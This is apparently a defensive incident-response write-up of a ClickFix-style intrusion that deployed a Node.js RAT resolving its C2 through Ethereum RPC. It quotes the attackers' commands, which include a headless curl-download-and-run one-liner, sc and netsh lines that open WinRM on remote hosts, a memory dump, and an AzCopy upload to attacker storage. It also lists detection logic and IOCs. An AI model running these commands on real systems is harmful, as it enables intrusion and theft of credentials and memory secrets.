The alert that finally drew attention to this incident came from a memory-acquisition tool running on a workstation. By the time it fired, the intrusion had been active for about seventeen hours.

Working backward through the endpoint telemetry turned up a browser-themed staging directory, a PowerShell loader, a portable Node.js runtime, randomized JavaScript payloads, two persistence mechanisms, C2 resolution through public Ethereum RPC services, remote WinRM enablement on other hosts, and an attempt to push a full physical-memory image to cloud storage. Hunting on what we found identified two more affected endpoints.

The most useful lesson was simple: the detection timestamp is not the incident start time.

Timeline at a glance

All times are relative to the first malicious execution (T+0).

Time Activity
T+0 Headless console runs curl and tar, stages a Firefox-themed directory, executes plugin-container.exe
T+0 onward PowerShell loader installs portable Node.js, writes randomized JavaScript, adds Run-key and scheduled-task persistence
Between T+0 and T+17h Ethereum RPC lookups, C2 tasking, discovery, remote service changes enabling WinRM on other hosts
T+17h Memory acquisition on HOST-A triggers the first high-severity alert
After the memory image AzCopy launched toward attacker-controlled Blob storage with the memory image as the source
T+17h to about T+19h HOST-A isolated; hunting finds HOST-B and HOST-C; both contained

Rewinding 17 hours

The earliest malicious activity was a single command line:

"C:\Windows\system32\conhost.exe" --headless cmd /c "
md C:\Users\<user>\AppData\Local\Mozilla\Firefox\Updates 2>nul &
pushd C:\Users\<user>\AppData\Local\Mozilla\Firefox\Updates &
curl -skLo t hxxps://nodemetrics9095[.]com/update/package &
tar -xf t &
del t &
plugin-container.exe
"

In one line it creates a directory, downloads an archive, extracts it, deletes the evidence of the download, and runs what it unpacked. conhost.exe --headless keeps any console window from appearing, and curl and tar are both built into current Windows, so nothing extra had to be dropped first.

This stage didn’t generate a high-severity alert. That is common for delivery chains built entirely from built-in binaries, and it is exactly why reconstruction has to start before the alert timestamp.

Assessing the delivery

The chain is consistent with a KongTuke / ClickFix-style delivery, where a web lure convinces the user to run the command themselves. I kept that assessment separate from the payload that followed:

  • High confidence: KongTuke-associated delivery pattern
  • High confidence: EtherRAT-like Node.js / JavaScript payload behavior
  • Not established: who operated the downstream payload

Collapsing those into one actor name would claim more than the evidence supports.

Hiding in a Firefox update folder

The staging path was chosen to look routine:

C:\Users\<user>\AppData\Local\Mozilla\Firefox\Updates\
    plugin-container.exe
    plugin-container.exe.local
    nss3.dll
    precache.db

The names mimic Firefox components. A .local file next to an executable can change how Windows resolves that executable’s DLLs, which can be abused to make a legitimately named binary load a modified library from its own folder. A legitimate file name tells you nothing about whether the execution chain is legitimate.

From loader to Node.js RAT

The next significant artifact was a PowerShell loader:

C:\Users\Public\Music\4werasd54re5uhsy5re.ps1

This is where the intrusion changed character. The loader:

  1. installed a portable Node.js runtime under a system-looking AppData path
  2. wrote randomized JavaScript payloads
  3. created operational files: a bot identifier, PID state, configuration, and logs
  4. established persistence

Directories and payload names differed per host:

C:\Users\<user>\AppData\Local\Microsoft\Components\6cca\
C:\Users\<user>\AppData\Local\Programs\Assemblies\ad2f\

3a5f6462966455ce.js
280306f93b257c2e.js

Randomized names defeat simple IOC matching across hosts, which matters later for hunting. A portable runtime also means the attacker never ships a compiled RAT: the “malware” is plain JavaScript running on a legitimately signed interpreter.

Persistence that looks like Windows

Two mechanisms, both named to look administrative rather than random.

Mechanism Value
Run key values DesktopBridge, SecurityHealth
Scheduled task \Microsoft\Windows\Chkdsk\TempDefrag

SecurityHealth imitates a real Windows Run entry, and the task sits in a Microsoft-style folder with a maintenance-themed name. When reviewing autoruns, check what the entry launches, not whether its name sounds familiar.

C2 without a single C2 server

The JavaScript payload didn’t hard-code one command server. It queried public Ethereum RPC providers to resolve its C2 information, with a fallback host on Azure:

azurepoinbackup.centralus.cloudapp.azure[.]com

Observed RPC providers included several well-known public Ethereum endpoints. They are legitimate services and are not indicators on their own; what matters is a script or unusual process on a workstation talking to them at all.

This design, reading C2 data from a public blockchain, is resilient. The attacker can change where bots connect by updating on-chain data, and blocking one IP or domain doesn’t end it.

The payload then used an endpoint resembling /Default.aspx for registration, task polling, command retrieval, and result submission. Returned JavaScript could be executed dynamically, which makes this less a fixed-function implant and more a remote tasking framework.

Preparing remote access

Discovery included net use, logical disk and storage enumeration, references to DavSetCookie, and administrative shares such as C$.

More concerning was remote service manipulation. The attacker repointed an existing service’s binpath so that starting it would open the firewall for WinRM:

sc \\<remote-host> config TroubleshootingSvc binpath= "cmd /c netsh advfirewall firewall add rule name=WinRM protocol=TCP localport=5985 action=allow dir=IN"
sc \\<remote-host> start TroubleshootingSvc

The same pattern appeared against a second remote host. There was WSMAN-related activity afterward, but a completed interactive WinRM session was not conclusively established.

That distinction belongs in the report: WinRM was deliberately enabled for remote access; successful lateral movement over WinRM was not proven.

The memory image

On HOST-A, the attacker ran an open-source memory acquisition tool:

winpmem_mini_x64_rc2.exe  ->  C:\Users\<user>\AppData\Local\<memory-image>.raw

This is the step that raised the first high-severity alert, and it sharply increased the severity of the incident. A physical-memory image can contain process memory, access tokens, Kerberos material, browser session data, encryption keys, and application secrets.

Was the memory actually stolen?

The investigation then found AzCopy (a legitimate Microsoft transfer utility) launched from a user-writable path:

C:\Users\<user>\AppData\Local\azcopy_windows_amd64_10.32.4\azcopy.exe

with a destination resembling:

hxxps://lokol8374594.blob.core.windows[.]net/verpol/<memory-image>.raw

This is where precise wording matters most.

  • Supported: AzCopy was launched with attacker-controlled Blob storage as the destination and the memory image as the source.
  • Not supported: the attacker exfiltrated the memory image.

Telemetry did not establish that the transfer completed. The response has to assume it might have, but the write-up shouldn’t claim it did.

Hunting found two more hosts

The first endpoint was isolated within about half an hour of the alert. Indicators from it were then turned into hunts:

  • Paths and files: the loader path, the Firefox-themed staging directory, Node.js staging directories, winpmem, and the memory image file
  • Network: the delivery domain, the Azure fallback host, the Blob destination, and Ethereum RPC traffic from unusual processes
  • Persistence: the Run values and the TempDefrag task
  • Behavior: conhost.exe --headless spawning cmd with curl, PowerShell, Invoke-WebRequest, or Invoke-RestMethod

Because file and directory names were randomized per host, the behavioral pivot mattered most. It identified HOST-B and HOST-C, and both were contained within about two hours of the original alert. What looked like one endpoint was a three-host incident.

Eradication

On each host, response removed:

  • the PowerShell loader and JavaScript payloads
  • portable Node.js directories and the Firefox-themed staging folder
  • bot, config, and log artifacts
  • the memory acquisition tool and the memory image
  • Run-key and scheduled-task persistence

Hosts stayed isolated during cleanup, and post-remediation validation confirmed the persistence and payload processes were no longer active.

Attempted versus confirmed

Activity Evidence
Initial malicious execution Confirmed
PowerShell loader execution Confirmed
Node.js RAT staging Confirmed
Run-key and scheduled-task persistence Confirmed
Ethereum RPC communication Confirmed
Remote service manipulation and WinRM firewall rule Confirmed
Interactive WinRM session Not confirmed
Physical-memory acquisition Confirmed
AzCopy launched toward attacker storage Confirmed
Completed upload of the memory image Not confirmed
Two additional affected hosts Confirmed
Named operator behind the payload Not established

Detection ideas

Vendor-neutral logic that would have surfaced this earlier than the memory-acquisition step:

  • conhost.exe with --headless whose child is cmd.exe containing curl, tar, Invoke-WebRequest, or Invoke-RestMethod
  • node.exe running from user-writable AppData paths, especially a freshly written copy
  • Workstation processes other than browsers or wallets connecting to public Ethereum RPC endpoints
  • sc \\<remote> config <service> binpath= followed by sc \\<remote> start of the same service
  • netsh advfirewall ... localport=5985 created remotely
  • AzCopy executed from a user profile path with a *.blob.core.windows.net destination not owned by the organization

Lessons

  • Start the timeline before the alert. The first alert may be the middle or the end of the attack.
  • Built-in binaries (conhost, curl, tar, sc, netsh) can carry an entire intrusion.
  • Familiar names are camouflage: Firefox folders, SecurityHealth, a Chkdsk task.
  • Portable runtimes let attackers ship scripts instead of compiled malware.
  • Public blockchain infrastructure can be abused as resilient C2 resolution.
  • Enabling remote access is not the same as proving lateral movement.
  • An exfiltration command is not proof the transfer completed.
  • Behavioral hunts find the hosts that randomized IOCs hide.
  • Delivery attribution and operator attribution are different questions.

Indicators of Compromise

Type Value Description
Domain nodemetrics9095[.]com Delivery: archive download (/update/package)
Domain azurepoinbackup.centralus.cloudapp.azure[.]com Fallback C2 host
URL hxxps://lokol8374594.blob.core.windows[.]net/verpol/ Attacker Blob storage container (memory image destination)
Filename 4werasd54re5uhsy5re.ps1 PowerShell loader (in C:\Users\Public\Music\)
Registry ...\CurrentVersion\Run\DesktopBridge Run-key persistence
Registry ...\CurrentVersion\Run\SecurityHealth Run-key persistence (imitates a Windows entry)
Task \Microsoft\Windows\Chkdsk\TempDefrag Scheduled-task persistence